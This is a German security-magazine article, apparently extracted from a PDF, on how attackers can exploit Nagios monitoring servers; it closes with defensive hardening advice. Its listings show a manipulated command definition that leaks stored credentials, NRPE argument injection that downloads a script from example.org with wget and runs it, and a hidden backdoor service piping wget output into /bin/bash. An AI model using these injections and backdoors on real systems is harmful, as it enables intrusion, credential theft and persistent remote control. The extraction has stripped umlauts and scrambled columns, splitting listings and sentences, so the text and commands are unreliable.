ANGRIFF

PETER FETZER

Kontrollverlust

Nagios im Dienst des Angreifers

Schwierigkeitsgrad:

Der Einsatz zentralisierter Monitoringanwendungen ist fr den geordneten Betrieb komplexer IT-Landschaften inzwischen unerlsslich. Er birgt jedoch grundstzlich auch einige Gefahren fr die Sicherheit der damit berwachten Infrastruktur. Am Beispiel des verbreiteten OpenSource-Projekts Nagios zeigt dieser Artikel, welche Ansatzpunkte es fr potentielle Angreifer gibt und wie Administratoren einen wirksamen Schutz dagegen aufbauen knnen.

IN DIESEM ARTIKEL ERFAHREN SIE...

Eine kurze Einfhrung in die Funktionsweise und die Konfiguration von Nagios. Welchen Nutzen ein Angreifer aus einem Monitoringserver ziehen kann. Welche Manahmen Administratoren dagegen ergreifen knnen.

agios, bzw. der daraus abgeleitete Fork ICINGA , ist ein flexibles und gut erweiterbares Monitoringsystem zur berwachung von Netzwerk- und Systemdiensten, Servern, Netzwerkgerten und vielem mehr. Es ermglicht die Frherkennung von Ausfllen, die Identifizierung von Fehlerquellen und untersttzt die Vorhersage von Ressourcenengpssen. Mit Hilfe sehr einfach zu entwickelnder Plugins kann nahezu jedes Gert und jeder Dienst berwacht werden. Auch dank seiner ausfhrlicher Dokumentation und einer sehr aktiven Community findet Nagios heute eine starke Verbreitung in Netzwerken und Unternehmen jeder Gre. Gelingt es einem Angreifer, die Kontrolle ber einen Nagios-Server zu erlangen, erffnet ihm dies in der Regel den ungehinderten Zugang zu einer Vielzahl anderer Systeme. Selbst aus einem unverschlsselten Backup des Konfigurationsverzeic hnisses knnen bereits wertvolle Informationen fr weitere Angriffe gezogen werden.

Auch Nagios oder genauer gesagt seine Konfiguration kann einem Angreifer bereits sensible und wertvolle Informationen ber das Zielnetzwerk und die darin befindlichen Hosts liefern. Dies ist zum einen ber das Webfrontend und zum anderen ber die Konfigurationsdateien mglich. Soll die zweite Mglichkeit genutzt werden ist es notwendig zu wissen, wo die relevanten Dateien zu finden sind, in jedem Fall aber wie sie strukturiert sind und wie die darin enthaltenen Daten interpretiert und genutzt werden knnen. Am Ende dieses Kapitels werden noch die Mglichkeiten zur berwachung von Remote-Diensten beleuchtet und runden damit auch die Einfhrung in die Materie der Nagios-Konfiguration ab.

Grundlagen

Informationsbeschaffung

WAS SIE VORHER WISSEN/KNNEN SOLLTEN...

Wie man ein Linux-System bedient. Wie ein Systemmonitoring im Prinzip funktioniert. 20 HAKIN9 1/2010

Zu Beginn eines Angriffs steht immer die Beschaffung von Informationen ber lohnende Ziele, getroffene Abwehrmanahmen und potentielle Schwachstellen. blicherweise beginnt die Recherche mit ffentlich einsehbaren Informationen wie DNS- und IP-Zuordnungen und hangelt sich an den gefundenen Daten immer weiter Richtung Ziel. Ein hilfreicher Zwischenschritt kann es dabei sein, sich Zugriff auf ein geschftsunkritisches und daher schwcher geschtztes System zu verschaffen.

Nagios wird blicherweise als Daemon unter Linux oder anderen unixoiden Systemen betrieben. Die verwendeten Pfade sind bei der Installation frei konfigurierbar bzw. beim Einsatz einer Paketverwaltung vom jeweiligen Distributor festgelegt. Dennoch folgen die meisten Installationen einem von zwei verbreiteten Schemata. Das eigentliche Nagios-Binary findet sich unter /usr/sbin/ oder /usr/local/nagios/bin/, die Check-Plugins unter /usr/lib/nagios/plugins/ oder /usr/local/nagios/libexec/. Die HTML-Dateien und Bilder fr die Weboberflche sowie die Dokumentation liegen unter /usr/share/nagios/htdocs/ oder /usr/ local/nagios/share/, die CGI-Skripte unter

NAGIOS IM DIENST DES ANGREIFERS

wertvolle Information. Listing 1 zeigt beispielhaft den Aufbau einer Host-Definition.

Host Group Definition (hostgroup)

In Hostgruppen knnen Hosts logisch gruppiert werden. Sie werden blicherweise verwendet, um funktionale (Datenbankserver, Firewalls, etc.), geographische (Serverraum x, Rack y, etc.) oder netzwerktopologische Gruppen zu bilden. Die Zuordnung der Hosts geschieht entweder im Feld hostgroup_members der Hostgruppe oder im Feld hostgroups des Hosts.

Abbildung 1. Netzplan aus der Weboberflche

/usr/lib64/nagios/cgi-bin/

Host Dependency Definition (hostdependency)

Die Konfiguration von Hostabhngigkeiten ist optional, ermglicht Nagios aber beim Verlust der Verbindung zu mehreren Netzwerkknoten, den tatschlich ausgefallenen Host zu ermitteln. Fllt beispielsweise ein Router aus, sind fr Nagios auch alle dahinter liegenden Hosts nicht mehr erreichbar. Durch entsprechende Konfiguration ist Nagios diese Abhngigkeit allerdings bekannt, wodurch es in der Lage ist, eine Flut von Fehlalarmen zu vermeiden und lediglich den gestrten Router zu melden. Diese Informationen knnen ergnzend zum Feld parents aus den HostDefinitionen zur Erstellung eines Netzplans verwendet werden.

oder

/usr/local/nagios/sbin/. Unter /var/

nagios/ oder /usr/local/nagios/var/

sind Status- und Logdateien zu finden. Die Konfiguration von Nagios erfolgt mit Hilfe mehrerer Konfigurationsdateien unter dem Pfad /etc/nagios/ oder /usr/ local/nagios/etc/: Die zentrale nagios.cfg enthlt alle Grundeinstellungen des Dienstes und referenziert alle weiteren Konfigurationsdateien und -verzeichnisse mit Ausnahme der Datei cgi.cfg fr die Konfiguration der Weboberflche. Von groem Informationsgehalt sind die Objektkonfiguration und die RessourcenDatei. Um die darin enthaltenen Informationen nutzen zu knnen, ist es sinnvoll, die Bedeutung der einzelnen Konfigurationsobjekte zu verstehen.

gen Inhalt: hosts.cfg, hostgroups.cfg, hostextinfo.cfg, services.cfg, etc. Lediglich die Befehle (Commands) werden noch in die checkcommands.cfg fr Prfbefehle und die misccommands.cfg fr Benachrichtigungsaufrufe und Event-Handler verteilt. Die Ressourcen-Datei resource.cfg dient der Belegung der benutzerdefinierten Makros $USER1$ bis $USER32$. In diesen werden neben Pfaden hufig auch Benutzernamen und Passwrter fr die Verwendung durch Commands hinterlegt. Aus diesem Grund ist diese Datei meist auch mit restriktiven Zugriffsrechten versehen.

Konfigurationsobjekte
Host Definition (host)
ber Host Definitions werden alle zu berwachenden physikalischen Hosts definiert. Aus den Feldern alias und address lassen sich die IP-Adresse und ggfs. der DNS-Name ermitteln. Die als parents definierten Hosts sind dem Host, der diese definiert, topologisch gesehen bergeordnet. Mit Hilfe dieser Information kann schrittweise ein vollstndiger Plan des berwachten Netzes gezeichnet werden, wie ihn auch Nagios in seinem Webfrontend darstellt. Dabei ist zu beachten, dass die Wurzel der entstandenen Topologie immer der Nagios-Server ist. Abbildung 1 zeigt zur Veranschaulichung einen graphischen Netzplan aus der Weboberflche. Die Felder contacts bzw. contact_groups bilden hufig die Zuordnung der Hosts zu den verantwortlichen Administratoren ab. Fr Social-Engineering-Angriffe ist dies eine

Host Escalation Definition (hostescalation)

Mit Hilfe von Eskalationen knnen Strungen abhngig von Zeitfenstern und Dauer des Problems an unterschiedliche Kontakte bzw. Kontaktgruppen gemeldet

Konfigurationsstruktur

Der Aufbau der Objektkonfiguration ist nicht fest vorgeschrieben und richtet sich rein nach den Vorlieben des Administrators. So kann er alle Hosts und Services in jeweils einer Datei zusammenfassen, oder aber fr jeden Host eine Datei anlegen und in dieser neben dem Host auch alle Services, Abhngigkeiten, Eskalationen etc. mit definieren. In kleinen Installationen knnen auch alle Konfigurationsobjekte in einer Datei liegen. Die vielerorts empfohlene und daher auch hufig anzutreffende Konfigurationsstruktur gruppiert gleiche Objekte in einer Konfigurationsdatei und richtet sich bei der Benennung der Dateien nach ihrem jeweili-

Listing 1. Die Konfiguration eines Hosts

define host{ host_name db001 alias db001.rz01.local address 10.10.10.1 parents router01 check_command check-host-alive check_interval 5 retry_interval 1 max_check_attempts 5 check_period 24x7 contact_groups admins-frankfurt notification_interval 30 notification_period 24x7 notification_options d,u,r }

1/2010 HAKIN9

21

ANGRIFF
werden. Daraus lsst sich ableiten, welche Personen welchen Status einnehmen und wann sie Dienst haben. So wird ein Supportmitarbeiter zum Beispiel sofort ber eine Strung informiert, sein Abteilungsleiter aber erst, wenn das Problem nicht nach sptestens vier Stunden behoben ist. nicht mehr korrekt antwortender LDAP-Dienst nicht mehr als gestrt gemeldet, wenn der dahinter liegende Datenbank-Dienst ausgefallen ist. Ein Angreifer kann daraus Informationen beziehen, welche Dienste miteinander in Verbindung stehen, um lohnenswerte Ziele wie zum Beispiel die schwcher geschtzte Backup-Datenbank der CRM-Anwendung oder den Anwendungsserver hinter dem von auen gut geschtzten Kundenportal zu ermitteln. diese berwacht werden und fr einzelne Kontakte, wann diese ber eingetretene Strungen informiert werden sollen. Dies lsst Rckschlsse auf die blichen Bro- bzw. Schichtzeiten, also auch auf geeignete Zeitfenster fr Angriffe, und ggfs. auf fr Konkurrenten interessante Service-Level-Agreements (SLA) zu.

Extended Host Information Definition (hostextinfo)

ber erweiterte Hostinformationen knnen zustzliche Daten zur Anzeige im Webfrontend hinterlegt werden. Im Feld notes_url findet sich oftmals ein Link zu weiterfhrender Dokumentation oder zu einer Configuration Management Database (CMDB). Im Feld action_url kann auf Webseiten oder CGI-Skripte verlinkt werden, die weitere Befehle wie den Neustart eines Dienstes oder Hosts zur Verfgung stellen. ber das icon_image kann in der Regel Rckschluss auf den Hersteller bzw. das Betriebssystem des Hosts geschlossen werden. Seit Nagios 3.0 knnen diese Informationen mit Hilfe der selben Feldnamen auch direkt in der Host Definition konfiguriert werden.

Command Definition (command)

ber Commands werden die Shell-Aufrufe zur Ausfhrung von Host- und Servicechecks, zur Benachrichtigung von Kontakten im Strfall sowie zur Auslsung von Events definiert. Hierbei stehen variable Parameter, die sogenannten Makros, wie $HOSTADDRESS$ oder $CONTACTEMAIL$ zur Verfgung. Ihre Bedeutung und Verwendung knnen in der offiziellen Dokumentation zu Nagios nachgelesen werden. Diese enthlt auch eine vollstndige Liste aller Konfigurationsdirektiven der Objektkonfiguration.

Service Escalation Definition (serviceescalation)

Eine Service-Eskalation funktioniert quivalent zur Host-Eskalation.

Extended Service Information Definition (serviceextinfo)

Eine erweiterte Serviceinformation funktioniert quivalent zur erweiterten Hostinformation. Seit Nagios 3.0 knnen diese Informationen mit Hilfe der selben Feldnamen auch direkt in der Service Definition konfiguriert werden.

Templates
Um hufig bentigte Einstellungen nicht redundant pflegen zu mssen, knnen zu allen Listing 2. Die Konfiguration eines Services
define service{ host_name db001 service_description mySQL check_command check_mysql_server max_check_attempts 5 check_interval 5 retry_interval 3 check_period 24x7 notification_interval 30 notification_period 24x7 notification_options w,c,r contact_groups database-admins-ffm }

Contact Definition (contact)

ber Kontakte werden personenbezogene Ansprechpartner fr die Benachrichtigung im Strfall definiert. Hieraus lassen sich blicherweise Vor- und Nachname sowie persnliche E-Mail-Adresse herauslesen. Gelegentlich werden fr den Versand von Benachrichtigungen auerhalb der regulren Geschftszeiten auch weitere Informationen wie die Nummer des Mobiltelefons, des Pagers oder eine Instant-Messenger-ID angegeben. Diese sind wiederum sehr ntzlich fr SocialEngineering-Angriffe.

Service Definition (service)

Eine Service Definition beschreibt einen zu berwachenden Dienst und ordnet ihn ber das Feld host_name einem oder mehreren Hosts bzw. ber das Feld hostgroup_name einer oder mehreren Hostgruppen zu. Dies verschafft potentiellen Angreifern eine bersicht darber, welche Dienste auf welchen Rechnern laufen. Das Feld check_command referenziert den Aufruf (command), mit dem der hier definierte Dienst auf Verfgbarkeit geprft werden soll. Wie auch bei der Host-Definition knnen ber contacts bzw. contact_groups ggfs. die Kontaktdaten verantwortlicher Administratoren ermittelt werden. Listing 2 zeigt beispielhaft den Aufbau einer Service-Definition.

Contact Group Definition (contactgroup)

Kontaktgruppen fassen Kontakte zur Verwendung in Host- und Service-Definitionen sowie Eskalationsketten zusammen. Die Kontaktgruppen stellen hufig Teile des Organigramms eines Unternehmens nach, in dem sie Abteilungen oder Hierarchieebenen abbilden. Die Zuordnung geschieht wie bei den Host- und Servicegruppen entweder in der Kontaktgruppe oder in den einzelnen Kontakten.

Listing 3. Manipulation einer Command-Definition

# Vorher command{ command_name command_line

Service Group Definition (servicegroup)

Eine Servicegruppe funktioniert quivalent zur Hostgruppe, gruppiert jedoch Services.

Service Dependency Definition (servicedependency)

Serviceabhngigkeiten dienen wie auch Hostabhngigkeiten zur Vermeidung von Fehlalarmen. Dadurch wird beispielsweise ein
22 HAKIN9 1/2010

Time Period Definition (timeperiod)

Anhand der Zeitraster kann fr Hosts und Services festgelegt werden, zu welchen Zeiten

} # Nachher command{ command_name check_local_load command_line echo $USER3$ \ > /tmp/result ; \ $USER1$/check_load \ -w $ARG1$ -c $ARG2$ }

check_local_load $USER1$/check_load \ -w $ARG1$ -c $ARG2$

NAGIOS IM DIENST DES ANGREIFERS

Konfigurationsobjekten auch Templates angelegt werden. Diese entsprechen in ihrem Aufbau genau dem der normalen Konfigurationsobjekte, mssen aber nicht alle Pflichtfelder enthalten. Erkennen kann man sie in der Regel an ihrem generischen Namen (datenbankhost, webservice, etc.) oder der expliziten Kennzeichnung als Template. Zur Verwendung in einem anderen Objekt werden sie anhand ihres Namens mit use eingebunden. Templates knnen auch kaskadiert und kombiniert werden. Das NRPE-Plugin (NRPE-Client) wird auf dem Nagios-Server installiert und initiiert die Abfrage der NRPE-Dienste auf den Hosts. Wie nachfolgend dargestellt, kann das Plugin wie im brigen jedes andere Nagios-Plugin auch direkt von der Shell ausgefhrt werden:
hal ~ # /usr/lib64/nagios/plugins\ /check_nrpe -H db001.rz01.local \ DISK OK - free space: / 58262 MB ;67605;0;75117 -c check_disk -a 20% 10% /dev/sda3 (81% inode=89%);| /=13039MB;60093

sem Kapitel gezeigten Techniken erfordert mindestens die lokalen Zugriffsrechte des Benutzers nagios.

Diebstahl von Passwrtern

berwachung von Remote-Diensten

Die berwachung lokaler sowie lokal verfgbarer Ressourcen wie CPU-Last oder Erreichbarkeit eines Gateways ist mit Hilfe einer Nagios-Basisinstallation und den in einem separaten Projekt gepflegen Standard-Plugins Eine Mglichkeit ist die Installation des Nagios Remote Plugin Executor. NRPE ist Bestandteil des Nagios-Projekts, wird aber blicherweise in zwei separaten Paketen bereitgestellt: Der NRPE-Server wird zusammen mit den bentigten Nagios-Plugins auf dem zu berwachenden Host installiert und dient deren Ausfhrung. In der Konfigurationsdatei nrpe.cfg wird festgelegt, welche Nagios-Server Zugriff erhalten und welche Remote-Befehle zur Verfgung gestellt werden. Die Konfiguration eines solchen Befehls sieht beispielsweise so aus:
command[check_disk]=/usr/lib64\ /nagios/plugins/check_disk -w \ $ARG1$ -c $ARG2$ -p $ARG3$

Eine andere Mglichkeit ist die Ausfhrung von Befehlen per SSH mit Hilfe des Standard-Plugins check_by_ssh. Dies hat den Vorteil, dass auf dem zu berwachenden Host kein zustzlicher Systemdienst installiert werden muss, wodurch sich auch Umgebungen monitoren lassen, fr die NRPE nicht zur Verfgung steht. Wie im nachfolgenden Kapitel noch erlutert wird, bergen beide Mglichkeiten unterschiedliche Risiken fr die Sicherheit des berwachten Hosts. Weiterhin ist es mglich, den Status eines Dienstes mit Hilfe eines dynamisch generierten HTML- oder XML-Dokumentes anzuzeigen. Mit einem geeigneten NagiosPlugin kann dieses per HTTP(S) abgerufen und interpretiert werden.

Angriffe

Neben den im vorherigen Kapitel gezeigten passiven Methoden zur eschaffung wertvoller Informationen zu Netzwerkinfrastruktur und Diensten, geht es nun um die aktive Ausnutzung von gefundenen Schwachstellen. Der Groteil der in die-

Wie bereits erwhnt, ist die RessourcenDatei resource.cfg unter anderem dazu vorgesehen, Benutzernamen und Passwrter in Form der Makros $USER1$ bis $USER32$ zu speichern. Zu welchem Dienst uns diese Zugang verschaffen, verrt eine Suche nach dem Namen des entsprechenden Makros in den Konfigurationsobjekten command und ggfs. service. Erlauben besonders strikt gesetzte Rechte keinen lesenden Zugriff auf die Ressourcen-Datei, gelingt es mglicherweise auch, auf anderem Weg an ihren Inhalt zu gelangen. Hierzu werden Schreibrechte auf die nagios.cfg, auf eine Objektko nfigurationsdatei (cfg_file) oder auf ein Objektkonfigurationsverzeichnis (cfg_dir) bentigt, um eine bestehende CommandDefinition zu verndern oder neue Konfigurationsobjekte hinzuzufgen. Die Modifikation eines bestehenden Objektes ist dabei wenn mglich vorzuziehen, da ein neu hinzugefgter Service auch im Webfrontend sichtbar wird. Listing 3 zeigt den Ausschnitt einer entsprechend modifizierten Konfiguration. Sie ist so angepasst, dass die Manipulation ber das Webfrontend nicht entdeckt werden kann. Nach einem Neustart des NagiosDienstes wird der manipulierte Befehl ausgefhrt. Abhngig vom Wert des Parameters max _ service _ check _ spread in der nagios.cfg kann dies allerdings einige Minuten dauern.

Shell-Code-Injection

Listing 4. Herunterladen und Ausfhren eines Shellskriptes per NRPE

hal ~ # cd /usr/lib64/nagios/plugins/ hal plugins # ./check_nrpe -H db001.rz01.local -c check_procs -a 1 2 '$(wget -q -O /tmp/shellscript.sh http://www.example.org/shellscript.sh)' Usage: check_procs -w <range> -c <range> [-m metric] [-s state] [-p ppid] [-u user] [-r rss] [-z vsz] [-P %cpu] [-a argument-array] [-C command] [-t timeout] [-v] hal plugins # ./check_nrpe -H db001.rz01.local -c check_procs -a 1 2 '$(bash /tmp/ shellscript.sh)' check_procs: RSS must be an integer! Usage: check_procs -w <range> -c <range> [-m metric] [-s state] [-p ppid] [-u user] [-r rss] [-z vsz] [-P %cpu] [-a argument-array] [-C command] [-t timeout] [-v]

Durch eine Schwachstelle in NRPE ist es in allen bisherigen Versionen mglich, von einem berechtigten Nagios-Server oder beim Einsatz von IP-Adress-Spoofing auch von jedem anderen Rechner aus ShellBefehle auf den berwachten Maschinen auszufhren. Wie zuvor gezeigt ist es auch bei der Definition eines Commands in NRPE mglich, Platzhalter fr eine Parameterbergabe in Form von Makros der Art $ARGx$ zu verwenden. Wird also beispielsweise der Command check _ procs mit drei Parametern versehen:
1/2010 HAKIN9 23

ANGRIFF
command[check_procs]=/usr/lib64\ /nagios/plugins/check_procs -w \ $ARG1$ -c $ARG2$ -s $ARG3$

knnen diese beim Aufruf des Commands per check_nrpe mit Hilfe des Parameters -a mit bergeben werden:
hal ~ # /usr/lib64/nagios/plugins\ check_procs -a 1 2 R PROCS CRITICAL:

/check_nrpe -H db001.rz01.local -c \

5 processes with STATE = R

Durch eine leichte Modifikation des Aufrufs, lassen sich jedoch auf dem Zielsystem auch Befehle ausfhren, nicht in der Konfiguration von NRPE vorgesehen sind:
hal ~ # /usr/lib64/nagios/plugins\ check_procs -a 1 2 '$(whoami)' PROCS OK:

/check_nrpe -H db001.rz01.local -c \

0 processes with STATE = nagios

Die auf diesem Weg eingeschleusten Befehle werden direkt mit den Rechten des Benutzers nagios in der Shell ausgefhrt. (Den Nagios-Administratoren unter den Lesern stehen sptestens jetzt dicke Schweiperlen auf der Stirn.) Doch beliebiger Code lsst sich an dieser Stelle noch nicht einspeisen, denn Aufrufe mit einem Listing 5. Konfigurationsobjekte zur Installation einer Backdoor
define service{ host_name db001 service_description ping check_command check_for_ instructions max_check_attempts 5 check_interval 5 retry_interval 3 check_period 24x7 notification_interval 30 notification_period none notification_options n contact_groups nobody } define command{ command_name

der vielen ntzlichen Sonderzeichen wie | ` & > < ' " \ [ ] { } ; und ! zur Abspaltung von Prozessen, zur Umlenkung von Ausgaben etc. werden inzwischen blockiert. Da in vielen Unternehmen noch Nagios-Installationen der Serie 1.x und 2.x anzutreffen sind, lohnt es sich auf jeden Fall, die bergabe eines solchen Sonderzeichens dennoch zu versuchen. Verfgt der Zielrechner ber einen Zugang zum Internet, lsst sich diese Filterung aber auch bei aktuellen Installationen relativ einfach umgehen: Der Angreifer stellt per HTTP oder FTP ein Shellskript zur Verfgung, ldt dieses mit Hilfe von wget oder curl herunter und brint es anschlieend zur Ausfhrung. Listing 4 zeigt dies an einem Beispiel. Die zurckerhaltenen Fehlermeldungen sind an dieser Stelle nicht relevant. Wird eine Erfolgskontrolle bentigt, sollte diese ber das ausgefhrte Skript implementiert werden. NRPE erlaubt dabei nur denjenigen Hosts die Ausfhrung von Commands, deren IP-Adresse in seiner Konfiguration ber den Parameter allowed _ hosts freigeschaltet wurden. Die Prfung der IP-Adresse des Nagios-Servers geschieht jedoch nur rudimentr beim Verbindungsaufbau und kann durch IP-Spoofing einfach umgangen werden.

Denial of Service

Einige Commands setzen vergleichsweise ressourcenintensive Prozesse wie zum Beispiel die statistische Auswertung groer Datenmengen, die Synchronisation von Verzeichnissen bers Netzwerk oder die Prfung von Dateisystemen in Gang. Zu erkennen sind sie hufig daran, dass ihre bergeordneten Services nicht wie sonst blich im Abstand von wenigen Minuten sondern in einem weit greren Takt aufgerufen werden. Auch ein besonders hoher Timeout weist auf solche Befehle hin. Durch den wiederholten und hufigen manuellen oder skriptgesteuerten Aufruf der entsprechenden Plugins kann es mglich sein einzelne Dienste oder ganze Hosts zu berlasten. Gelingt es Plugins zu manipulieren oder eigene einzuschleusen, kann mit Hilfe sogenannter Forkbomben ein System innerhalb von Sekunden lahmgelegt werden. Neben der rein destruktiven Anwendung eines solchen Denial-ofService-Angriffs kann diese Technik auch gezielt eingesetzt werden um beispielsweise ein Intrusion-Detection-System zu berlasten oder um den Master eines Hochverfgbarkeitsclusters nachz anipulation des Slave-Knotens gezielt in einen Fehlerzustand zu bringen.

Datenbankzugriff

check_for_ instructions command_line wget -q -O \ http://www.example.org/ command.txt | /bin/bash

Die berwachung von Datenbankparametern geschieht blicherweise mit Hilfe von Plugins, die eine direkte Verbindung zur Datenbank aufbauen und dort per SQL Anfragen zur Ermittlung von Statuswerten absetzen. Abhngig vom verwendeten Plugin ist der dabei verwendete SQL-Code entweder im Plugin selbst, in der Konfiguration von Nagios oder in einer externen Datei hinterlegt. In den letzten beiden Fllen und sofern das verwendete Plugin in einer Interpretersprache geschrieben wurde auch im ersten sollte es mglich sein, diesen direkt zu verndern, um eigene Befehle an die Datenbank abzusetzen. Verfgt der dazu verwendete Datenbankbenutzer ber ausreichend hohe Rechte, kann damit unter Umstnden das gesamte Datenbanksystem kompromittiert werden. Darber hinaus lassen sich beim Monitoring von Datenbanksystemen auch hervorragend die Methoden aus dem Kapitel Diebstahl von Passwrtern anwenden.

Event-Handler

Mit Hilfe von Event-Handlern ist es mglich, Nagios auf erkannte Fehlerzustnde hin automatisch Befehle ausfhren zu lassen. Damit lassen sich beispielsweise ausgefallene Dienste neu starten, Reboots initiieren, Trouble-Tickets erzeugen oder Logeintrge in Datenbanken absetzen. Unter Umstnden lassen sich aber auch erweiterte Zugriffsrechte erlangen, Daten aussphen oder ganze Systeme lahm legen. Die Ausfhrung vieler per Event-Handler aufgerufenen Befehle bentigt weitergehende Rechte, als sie dem Benutzer nagios blicherweise zur Verfgung stehen. Um dieses Problem zu lsen knnen dem Benutzer nun weitere Rechte zugewiesen oder die bentigten Rechte zur Ausfhrung des Befehls gelockert werden. Einem Angreifer ermglicht dies aber in der Regel auch die Ausfhrung nicht vorgesehener Befehle, denn je nach Granularitt des verwendeten Rechtesystems kann zum Beispiel nicht immer zwischen dem Einfgen, berschreiben oder

24 HAKIN9 1/2010

NAGIOS IM DIENST DES ANGREIFERS

Lschen von Daten unterschieden werden. Konkret bedeutet das, dass Nagios ein eigenes Systemkonto mit besonderen Rechten fr den SSH-Zugriff auf ein anderes System haben knnte. Oder einen privilegierten Benutzer fr die Windows-Domne. Alternativ kann auch ein Skript bereitgestellt werden, welches genau die bentigten Befehle enthlt und bei der Ausfhrung mit hheren Rechten als denen des ausfhrenden Benutzers ausgestattet wird. Unter Unix und Linux wird dies durch Setzen des setuid-Bits (chmod u+s) oder des setgidBits (chmod g+s) realisiert. (Beim Einsatz von Shell-Skripten funktioniert dies jedoch nur unter Zuhilfenahme von sudo.) Die Chance fr den Angreifer besteht in diesem Fall entweder darin, dass ihm eine solche Datei mit gesetztem setuid-Bit ber die Gruppenzugehrigkeit Schreibrechte zugesteht in diesem Fall kann die Datei direkt editiert und um Schadcode erweitert werden oder es besteht durch einen Programmierfehler die Mglichkeit, Schadcode in das Programm zu injizieren. Doch auch ohne besondere Verwundbarkeiten der Event-Handler-Skripte oder unvorsichtig gesetzte Zugriffsrechte kann ein Angreifer durch die gezielte Ausfhrung eines Event-Handlers Dienste vorbergehend auer Betrieb setzen, Datenbanken mit InsertAnweisungen oder Ticketsysteme mit neuen Tickets fluten. bereiteten Webressource einliest und direkt auf der Shell ausfhrt.

Im Internet:
http://www.nagios.org Offizielle Seite des Nagios-Projekts http://www.icinga.org Fork des Nagios-Projekts http://nagios.sourceforge.net/docs/3_0/ Dokumentation zu Nagios 3.x http://www.nagiosplugins.org Offizielle Plugins zu Nagios http://fedoraproject.org/wiki/SELinux Security-Enhanced Linux http://www.novell.com/linux/security/ apparmor/ Application Armor

Abwehrmanahmen

Installation einer Backdoor

Um sich nach einem erfolgreichen aber aufwendigen Angriff die knftige Rckkehr zu erleichtern, bedienen sich Angreifer hufiger der Mglichkeit, eine Hintertre im System zu installieren. Hierzu werden blicherweise Rootkits verwendet, die unter anderem sehr raffinierte Techniken einsetzen, um ihre Existenz vor den Augen des Administrators zu verbergen. Eine ebenso kreative Methode kann es aber sein, eine Backdoor in der Konfiguration von Nagios zu verstecken: Hierzu wird ein unverdchtig benannter Service angelegt, der beim Eintreten eines definierten Ereignisses eine Reaktion auslst. Statt einen neuen Service anzulegen, kann auch wie in Listing 3 beschrieben der Command eines bestehenden Services manipuliert werden. Listing 5 zeigt ein sehr einfaches Beispiel, welches Befehle von einer entsprechend vor-

Die in diesem Artikel vorgestellten Schwachstellen und Angriffsmglichkeiten sind fr Administratoren durchaus beunruhigend und sollten auf jeden Fall ernst genommen werden. Auch wenn ein Eindringling sich fr den Groteil der Angriffe zunchst einen Weg ins interne Netz und einen Zugang auf den Monitoringserver verschaffen muss, ist das Risiko nicht von der Hand zu weisen. Ein Nagios-Server ist fr einen Angreifer ein sehr lohnendes Ziel und sollte daher auch besondere Aufmerksamkeit bei der Absicherung erfahren. Nachfolgend werden einige Schutz- und Abwehrmanahmen aufgefhrt. Monitoringserver sollten durch grundstzliche Sicherheitsmanahmen wie Systemhrtung, Verlagerung in ein sicheres Netzsegment etc. besonders gut gegen externe und interne Angreifer abgesichert werden. Dabei knnen zum Beispiel die Sicherheitserweiterungen SELinux. Auf Routern und Firewalls sollte das sogenannte Ingress Filtering aktiviert sein. Dadurch werden Datenpakete abgewiesen, deren Absenderadresse nicht zu dem Netz passen, aus dem sie empfangen wurden. Diese Manahme schrnkt die Mglichkeiten zum IP-Spoofing ber Netzgrenzen hinweg stark ein. Die Konfigurationsdateien und Plugins von Nagios sollten dem Benutzer und der Gruppe nagios zugeordnet sein, Zugriff auch der lesende durch andere Benutzer sollte mit streng gesetzten Zugriffsrechten verhindert werden. Die ressources.cfg ist dabei besonders schtzenswert. Die Absicherung des Webfrontends ist im Kapitel Enhanced CGI Security and Authentication der offziellen Dokumentation hervorragend beschrieben. Backups der Konfiguration oder des ganzen Monitoringservers sollten nur verschlsselt oder an einem gut gesicherten Ort gelagert werden. Beim Einsatz von NRPE sollten die erlaubten IP-Adressen ber den Parameter allowed _ hosts genau definiert werden. Zustzlich empfiehlt es sich noch per Netfilter/iptables oder /etc/ hosts.allow und /etc/hosts.deny die erlaubten IP-Adressen auf dem NRPE-Port noch weiter einzuschrnken. Die integrierte Mglichkeit zur

Verschlsselung der Kommunikation per SSL sollte unbedingt genutzt werden. In der nrpe.cfg eines Hosts sollten nur die Commands aktiviert werden, die zum Monitoring dieser Maschine auch wirklich bentigt werden. Falls mglich, sollte komplett auf die Mglichkeit der Parameterbergabe an NRPE verzichtet werden. Dies erreicht man durch Setzen des in diesem Kontext etwas missverstndlich benannten Parameters dont _ blame _ nrpe auf 0. Beim Einsatz des Plugins check_by_ssh sollten nur stark eingeschrnkte User verwendet werden. Statt der Authentifizierung per Passwort sollten SSH-Keys zum Einsatz kommen. In der Datei ~/.ssh/authorized_keys kann dann festgelegt werden, von welchen IP-Adressen aus eine Verbindung aufgebaut werden darf und welche Befehle dem auf diesem Weg authentifizierten Benutzer zur Verfgung stehen. Vom Einsatz von SNMPv1 und SNMPv2 auf sicherheitskritischen Systemen ist abzuraten. Die aktuelle Version 3 hat deutlich bessere Sicherheitsfunktionen. Ist der Einsatz von SNMPv2c unverzichtbar, sollten unbedingt unterschiedliche CommunityStrings fr Read- und Write-Community verwendet werden. Fr die berwachung von Datenbanken sollten dedizierte Monitoring-Benutzer sowie Stored Procedures eingerichtet werden. Dadurch knnen die Zugriffsrechte dieser Benutzer auf die reine Ausfhrung der vorgegebenen Befehle eingeschrnkt werden. Peter Fetzer

ist Dipl.-Ing. (FH) und arbeitet als Consultant fr ITSicherheit bei der Cassini Consulting GmbH in Frankfurt. Er beschftigt sich seit ber vier Jahren mit Nagios im Umfeld mittelgroer bis groer Rechenzentren. 1/2010 HAKIN9 25